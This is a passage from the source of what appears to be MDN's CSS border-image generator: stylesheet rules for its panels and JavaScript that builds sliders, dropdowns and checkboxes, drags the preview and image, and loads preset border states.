+	border-radius: 2px;
+	float: left;
+
+	transition: width 0.5s;
+}
+
+#remote-url:focus {
+	box-shadow: 0px 0px 3px -1px #379B4A; /*#68ACE8; */
+	border-color: rgba(55, 155, 74, 0.5);
+	width: 450px;
+}
+
+/*
+ * Visible Area
+ */
+
+#preview_section {
+	position: relative;
+	min-height: 400px;
+}
+
+/* Image Control */
+
+#subject {
+	width: 300px;
+	height: 300px;
+	background-repeat: no-repeat;
+	background-size: 100%;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+
+	position: absolute;
+	z-index: 10;
+	top: 15%;
+	left: 10%;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition-property: width, height;
+	transition-duration: 0.1s;
+}
+
+#subject .guideline {
+	background-color: rgba(255, 255, 255, 0.7);
+	border: 1px solid rgba(0, 0, 0, 0.3);
+	position: absolute;
+}
+
+#subject .guideline:hover {
+	background-color: #F00;
+}
+
+#subject .guideline[data-active] {
+	background-color: #F00;
+	z-index: 10;
+}
+
+#subject .guideline[data-axis='X'] {
+	width: 1px;
+	height: 100%;
+	top: -1px;
+}
+
+#subject .guideline[data-axis='Y'] {
+	width: 100%;
+	height: 1px;
+	left: -1px;
+}
+
+#subject .guideline[data-axis='X']:hover {
+	cursor: w-resize;
+}
+
+#subject .guideline[data-axis='Y']:hover {
+	cursor: s-resize;
+}
+
+
+#subject .relative {
+	position: relative;
+	font-size: 12px;
+}
+
+#subject .tooltip, #subject .tooltip2 {
+	width: 40px;
+	height: 20px;
+	line-height: 20px;
+	font-size: 12px;
+	text-align: center;
+
+	position: absolute;
+	opacity: 0.5;
+	transition: opacity 0.25s;
+}
+
+#subject .tooltip {
+	background: #EEE;
+	border-radius: 2px;
+	border: 1px solid #CCC;
+}
+
+#subject .tooltip2{
+	color: #555;
+}
+
+#subject [data-active] > * {
+	opacity: 1;
+}
+
+#subject .tooltip[data-info='top'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip[data-info='right'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+#subject .tooltip[data-info='bottom'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip[data-info='left'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='top'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip2[data-info='right'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='bottom'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip2[data-info='left'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+/* Preview */
+
+#preview {
+	width: 30%;
+	height: 50%;
+	background-color: #FFF;
+	text-align: center;
+	overflow: hidden;
+	position: absolute;
+	z-index: 10;
+
+	left: 60%;
+	top: 15%;
+
+	border-radius: 2px;
+	border-image-width: 20px;
+	border-image-repeat: round;
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#preview .resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url("https://mdn.mozillademos.org/files/6027/resize.png") center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+#preview .resize-handle:hover {
+	cursor: nw-resize;
+}
+
+
+/*
+ * General controls MENU
+ */
+
+#general-controls {
+	padding: 10px 30px;
+	background-color: #FFF;
+	opacity: 0.95;
+	color: #888;
+	/*border-radius: 2px;*/
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#general-controls .property {
+	width: 130px;
+	float: left;
+}
+
+#general-controls .name {
+	height: 20px;
+	margin: 0 10px 0 0;
+	line-height: 100%;
+	text-align: right;
+	float: left;
+}
+
+#general-controls .right {
+	width: 200px;
+	float: right;
+}
+
+#general-controls .ui-checkbox label {
+	height: 10px;
+}
+
+#general-controls .separator {
+	height: 40px;
+	width: 1px;
+	margin: -10px 15px;
+	background-color: #EEE;
+	float: left;
+}
+
+/*
+ * Controls
+ */
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+#controls .category {
+	height: 190px;
+	min-width: 260px;
+	margin: 10px;
+	padding: 10px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	float: left;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+@media (min-width: 880px) {
+	#controls .category {
+		width: 30%;
+		margin-left: 1.66%;
+		margin-right: 1.66%;
+	}
+}
+
+@media (max-width: 879px) {
+	#controls .category {
+		width: 37%;
+		margin-left: 6.5%;
+		margin-right: 6.5%;
+	}
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#controls .category:hover .title {
+	color: #777;
+}
+
+#controls .category > .group {
+	border: 1px solid #CCC;
+	border-radius: 2px;
+}
+
+
+/* property */
+
+#controls .property {
+	width: 250px;
+	height: 20px;
+	margin: 5px auto;
+}
+
+#controls .property .ui-input-slider {
+	margin: 0;
+	float: left;
+}
+
+#controls .property .ui-input-slider-info {
+	width: 60px;
+}
+
+#controls .property .ui-input-slider-left {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .ui-input-slider-right {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .name {
+	width: 60px;
+	height: 20px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	line-height: 100%;
+	float: left;
+}
+
+#controls .property .config {
+	width: 20px;
+	height: 20px;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/6021/config.png") center center no-repeat;
+	opacity: 0.5;
+}
+
+#controls .property .config:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-right {
+    opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-left {
+    opacity: 1;
+}
+
+#controls .property .ui-dropdown {
+	margin: 0 10px;
+	float: left;
+}
+
+
+#controls .property .ui-checkbox {
+	margin: 0 0 0 16px;
+	float: left;
+}
+
+#controls .property .ui-checkbox label {
+	height: 0.85em;
+	width: 10px;
+}
+
+/* dropdowns */
+#controls .ui-dropdown {
+	width: 50px;
+	height: 1.7em;
+	border-radius: 2px;
+}
+
+#controls .ui-dropdown-select {
+	line-height: 1.6em;
+}
+
+#controls .ui-dropdown-list {
+	top: 20px;
+}
+
+#controls .ui-dropdown-list {
+	border-width: 1px;
+	text-align: center;
+}
+
+#controls .ui-dropdown-list:hover {
+	overflow: hidden;
+}
+
+#controls .border-repeat {
+	margin: 0 0 0 16px !important;
+	width: 80px;
+}
+
+#controls .border-repeat .ui-dropdown-list {
+	height: 6.2em;
+	border-width: 1px;
+	text-align: center;
+}
+
+/* border-image-slice */
+
+
+#border-slice-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+/* border-image-width */
+
+#border-width-control .ui-dropdown-list {
+	height: 6.2em;
+}
+
+/* border-image-outset */
+
+#border-outset-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+#aditional-properties .property {
+	width: 200px;
+}
+
+#aditional-properties .ui-input-slider > input {
+	width: 80px !important;
+}
+
+/* unit settings panel */
+
+#unit-settings {
+	padding: 10px;
+	position: absolute;
+
+	background: #FFF;
+
+	font-size: 12px;
+	border-radius: 3px;
+	border: 1px solid #CCC;
+	text-align: center;
+	color: #555;
+
+	position: absolute;
+	z-index: 1000;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+}
+
+#unit-settings .title {
+	width: 100%;
+	margin: -5px auto 0;
+
+	color: #666;
+	font-size: 14px;
+	font-weight: bold;
+	line-height: 25px;
+	border-bottom: 1px solid #E5E5E5;
+}
+
+#unit-settings .ui-input-slider {
+	margin: 10px 0 0 0;
+}
+
+#unit-settings .ui-input-slider-info {
+	width: 50px;
+	line-height: 1.5em;
+}
+
+#unit-settings input {
+	font-size: 12px;
+	width: 40px !important;
+}
+
+#unit-settings .close {
+	width: 16px;
+	height: 16px;
+	background: url('https://mdn.mozillademos.org/files/6019/close.png') no-repeat center center;
+	background-size: 75%;
+
+	position: absolute;
+	top: 4px;
+	right: 4px;
+	opacity: 0.5;
+}
+
+#unit-settings .close:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#unit-settings[data-active='true'] {
+	opacity: 1;
+}
+
+#unit-settings[data-active='false'] {
+	opacity: 0;
+	top: -100px !important;
+}
+
+/*
+ * CSS Output Code
+ */
+
+#output {
+	padding: 10px;
+	border: 2px dashed #888 !important;
+	box-shadow: none !important;
+	border-radius: 3px;
+	overflow: hidden;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+}
+
+
+@media (min-width: 880px) {
+	#output {
+		width: 63.33% !important;
+	}
+}
+
+@media (max-width: 879px) {
+	#output {
+		width: 87% !important;
+	}
+}
+
+
+#output .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#output .css-property {
+	width: 100%;
+	margin: 0;
+	color: #555;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+#output .css-property .name {
+	width: 30%;
+	font-weight: bold;
+	text-align: right;
+	float: left;
+}
+
+#output .css-property .value {
+	width: 65%;
+	padding: 0 2.5%;
+	word-break: break-all;
+	float: left;
+}
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision >= 0 ? precision : 0;
+		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value > 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+/**
+ * UI-DropDown Select
+ */
+
+var DropDownManager = (function DropdownManager() {
+
+	var subscribers = {};
+	var dropdowns = [];
+	var active = null;
+
+	var visbility = ["hidden", "visible"];
+
+
+	var DropDown = function DropDown(node) {
+		var topic = node.getAttribute('data-topic');
+		var label = node.getAttribute('data-label');
+		var selected = node.getAttribute('data-selected') | 0;
+
+		var select = document.createElement('div');
+		var list = document.createElement('div');
+		var uval = 0;
+		var option = null;
+		var option_value = null;
+
+		list.className = 'ui-dropdown-list';
+		select.className = 'ui-dropdown-select';
+
+		while (node.firstElementChild !== null) {
+			option = node.firstElementChild;
+			option_value = option.getAttribute('data-value');
+
+			if (option_value === null)
+				option.setAttribute('data-value', uval);
+
+			list.appendChild(node.firstElementChild);
+			uval++;
+		}
+
+		node.appendChild(select);
+		node.appendChild(list);
+
+		select.onclick = this.toggle.bind(this);
+		list.onclick = this.updateValue.bind(this);
+		document.addEventListener('click', clickOut);
+
+		this.state = 0;
+		this.time = 0;
+		this.dropmenu = list;
+		this.select = select;
+		this.toggle(false);
+		this.value = {};
+		this.topic = topic;
+
+		if (label)
+			select.textContent = label;
+		else
+			this.setNodeValue(list.children[selected]);
+
+		dropdowns[topic] = this;
+
+	};
+
+	DropDown.prototype.toggle = function toggle(state) {
+		if (typeof(state) === 'boolean')
+			this.state = state === false ? 0 : 1;
+		else
+			this.state = 1 ^ this.state;
+
+		if (active !== this) {
+			if (active)
+				active.toggle(false);
+			active = this;
+		}
+
+		if (this.state === 0)
+			this.dropmenu.setAttribute('data-hidden', 'true');
+		else
+			this.dropmenu.removeAttribute('data-hidden');
+
+	};
+
+	var clickOut = function clickOut(e) {
+		if (active.state === 0 ||
+			e.target === active.dropmenu ||
+			e.target === active.select)
+			return;
+
+		active.toggle(false);
+	};
+
+	DropDown.prototype.updateValue = function updateValue(e) {
+
+		if (Date.now() - this.time < 500)
+			return;
+
+		if (e.target.className !== "ui-dropdown-list") {
+			this.setNodeValue(e.target);
+			this.toggle(false);
+		}
+
+		this.time = Date.now();
+	};
+
+	DropDown.prototype.setNodeValue = function setNodeValue(node) {
+		this.value['name'] = node.textContent;
+		this.value['value'] = node.getAttribute('data-value');
+
+		this.select.textContent = node.textContent;
+		this.select.setAttribute('data-value', this.value['value']);
+
+		notify.call(this);
+	};
+
+	var createDropDown = function createDropDown(topic, options) {
+
+		var dropdown = document.createElement('div');
+		dropdown.setAttribute('data-topic', topic);
+		dropdown.className = 'ui-dropdown';
+
+		for (var i in options) {
+			var x = document.createElement('div');
+			x.setAttribute('data-value', i);
+			x.textContent = options[i];
+			dropdown.appendChild(x);
+		}
+
+		new DropDown(dropdown);
+
+		return dropdown;
+	};
+
+	var setValue = function setValue(topic, index) {
+		if (dropdowns[topic] === undefined ||
+			index >= dropdowns[topic].dropmenu.children.length)
+			return;
+
+		dropdowns[topic].setNodeValue(dropdowns[topic].dropmenu.children[index]);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		var index = subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	};
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-dropdown');
+		size = elem.length;
+		for (var i = 0; i < size; i++)
+			new DropDown(elem[i]);
+
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		createDropDown : createDropDown
+	};
+
+})();
+
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	};
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	};
+
+	var setValue = function setValue(topic, value) {
+		var obj = buttons[topic];
+		if (obj === undefined)
+			return;
+
+		obj.checkbox.checked = value;
+		notify.call(obj);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	};
+
+})();
+
+window.addEventListener("load", function() {
+	BorderImage.init();
+});
+
+var BorderImage = (function BorderImage() {
+
+	var getElemById = document.getElementById.bind(document);
+
+	var subject;
+	var preview;
+	var guidelines = [];
+	var positions = ['top', 'right', 'bottom', 'left'];
+
+	var makeDraggable = function makeDraggable(elem) {
+
+		var offsetTop;
+		var offsetLeft;
+
+		elem.setAttribute('data-draggable', 'true');
+
+		var dragStart = function dragStart(e) {
+			if (e.target.getAttribute('data-draggable') !== 'true' ||
+				e.target !== elem || e.button !== 0)
+				return;
+
+			offsetLeft = e.clientX - elem.offsetLeft;
+			offsetTop = e.clientY - elem.offsetTop;
+
+			document.addEventListener('mousemove', mouseDrag);
+			document.addEventListener('mouseup', dragEnd);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			document.removeEventListener('mouseup', dragEnd);
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+
+			elem.style.left = e.clientX - offsetLeft + 'px';
+			elem.style.top = e.clientY - offsetTop + 'px';
+		};
+
+		elem.addEventListener('mousedown', dragStart, false);
+	};
+
+	var PreviewControl = function PreviewControl() {
+
+		var dragging = false;
+		var valueX = null;
+		var valueY = null;
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			valueX = e.clientX - preview.clientWidth;
+			valueY = e.clientY - preview.clientHeight;
+			dragging = true;
+
+			document.addEventListener('mousemove', mouseDrag);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0 || dragging === false)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			dragging = false;
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+			InputSliderManager.setValue('preview-width', e.clientX - valueX);
+			InputSliderManager.setValue('preview-height', e.clientY - valueY);
+		};
+
+		var init = function init() {
+
+			makeDraggable(preview);
+			makeDraggable(subject);
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			handle.addEventListener('mousedown', dragStart);
+			document.addEventListener('mouseup', dragEnd);
+
+			preview.appendChild(handle);
+
+		};
+
+		return {
+			init: init
+		};
+
+	}();
+
+	var ImageReader = (function ImageReader() {
+
+		var fReader = new FileReader();
+		var browse = document.createElement('input');
+
+		var loadImage = function loadImage(e) {
+			if (browse.files.length === 0)
+				return;
+
+			var file = browse.files[0];
+
+			if (file.type.slice(0, 5) !== 'image')
+				return;
+
+			fReader.readAsDataURL(file);
+
+			return false;
+		};
+
+		fReader.onload = function(e) {
+			ImageControl.loadRemoteImage(e.target.result);
+		};
+
+		var load = function load() {
+			browse.click();
+		};
+
+		browse.setAttribute('type', 'file');
+		browse.style.display = 'none';
+		browse.onchange = loadImage;
+
+		return {
+			load: load
+		};
+
+	})();
+
+	var ImageControl = (function ImageControl() {
+
+		var scale = 0.5;
+		var imgSource = new Image();
+		var imgState = null;
+		var selected = null;
+
+
+		var topics = ['slice', 'width', 'outset'];
+		var properties = {};
+		properties['border1'] = {
+			fill			: false,
+
+			slice_values	: [27, 27, 27, 27],
+			width_values	: [20, 20, 20, 20],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [1, 1],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border2'] = {
+			fill			: false,
+
+			slice_values	: [33, 33, 33, 33],
+			width_values	: [1.5, 1.5, 1.5, 1.5],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [1, 1, 1, 1],
+			width_units		: [2, 2, 2, 2],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border3'] = {
+			fill			: true,
+
+			slice_values	: [15, 15, 15, 15],
+			width_values	: [10, 10, 10, 10],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border4'] = {
+			fill			: false,
+
+			slice_values	: [13, 13, 13, 13],
+			width_values	: [13, 13, 13, 13],
+			outset_values	: [13, 13, 13, 13],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border5'] = {
+			fill			: false,
+
+			slice_values	: [0, 12, 0, 12],
+			width_values	: [0, 12, 0, 12],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400,
+		};
+
+		properties['border6'] = {
+			fill			: false,
+
+			slice_values	: [42, 42, 42, 42],
+			width_values	: [42, 42, 42, 42],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [350, 350],
+			preview_area	: 500,
+		};
+
+
+		var loadLocalImage = function loadLocalImage(source) {
+			var location = "images/" + source;
+			imgSource.src = location;
+		};
+
+		var loadRemoteImage = function loadRemoteImage(source) {
+			imgSource.src = source;
+			if (selected)
+				selected.removeAttribute('selected');
+			Tool.setOutputCSS('source', 'url("' + source + '")');
+		};
+
+		var pickImage = function pickImage(e) {
+			if (e.target.className === 'image') {
+				selected = e.target;
+				selected.setAttribute('selected', 'true');
+				loadRemoteImage(e.target.src);
+				imgState = e.target.getAttribute('data-stateID');
+			}
+		};
+
+		var loadImageState = function loadImageState(stateID) {
+			if (properties[stateID] === undefined)
+				return;
+
+			var prop = properties[stateID];
+			var topic;
+			var unit_array;
+			var value_array;
+
+			for (var i in topics) {
+				for (var j=0; j<4; j++) {
+					topic = topics[i] + '-' + positions[j];
+					unit_array = topics[i] + '_units';
+					value_array = topics[i] + '_values';
+					InputSliderManager.setValue(topic, prop[value_array][j]);
+					DropDownManager.setValue(topic, prop[unit_array][j]);
+				}
+			}
+
+			ButtonManager.setValue('slice-fill', prop['fill']);
+			DropDownManager.setValue('image-repeat-X', prop['repeat'][0]);
+			DropDownManager.setValue('image-repeat-Y', prop['repeat'][1]);
+			InputSliderManager.setValue('preview-width', prop['size'][0]);
+			InputSliderManager.setValue('preview-height', prop['size'][1]);
+			InputSliderManager.setValue('preview-area-height', prop['preview_area']);
+		};
+
+		var update = function update() {
+			scale =  Math.min(300, (30000 / this.width) | 0);
+			setScale(scale);
+			InputSliderManager.setValue('scale', scale, false);
+
+			subject.style.backgroundImage = 'url("' + this.src + '")';
+			preview.style.borderImageSource = 'url("' + this.src + '")';
+
+			guidelines['slice-top'].setMax(this.height);
+			guidelines['slice-right'].setMax(this.width);
+			guidelines['slice-bottom'].setMax(this.height);
+			guidelines['slice-left'].setMax(this.width);
+
+			if (imgState)
+				loadImageState(imgState);
+		};
+
+		var setScale = function setScale(value) {
+			scale = value;
+			var w = imgSource.width * scale / 100 | 0;
+			var h = imgSource.height * scale / 100 | 0;
+			subject.style.width = w + 'px';
+			subject.style.height = h + 'px';
+
+			for (var i = 0; i < positions.length; i++)
+				guidelines['slice-' + positions[i]].updateGuidelinePos();
+		};
+
+		var getScale = function getScale() {
+			return scale/100;
+		};
+
+		var toggleGallery = function toggleGallery() {
+			var gallery = getElemById('image-gallery');
+			var button  = getElemById('toggle-gallery');
+			var state = 1;
+			button.addEventListener('click', function() {
+				state = 1 ^ state;
+				if (state === 0) {
+					gallery.setAttribute('data-collapsed', 'true');
+					button.setAttribute('data-action', 'show');
+				}
+				else {
+					gallery.removeAttribute('data-collapsed');
+					button.setAttribute('data-action', 'hide');
+				}
+			});
+		};
+
+		var init = function init() {
+			var gallery = getElemById('image-gallery');
+			var browse = getElemById('load-image');
+			var remote = getElemById('remote-url');
+			var load_remote = getElemById('load-remote');
+
+			remote.addEventListener('change', function(){
+				loadRemoteImage(this.value);
+			});
+
+			load_remote.addEventListener('click', function(){
+				loadRemoteImage(remote.value);
+			});
+
+			browse.addEventListener('click', ImageReader.load);
+			gallery.addEventListener('click', pickImage);
+			imgSource.addEventListener('load', update);
+
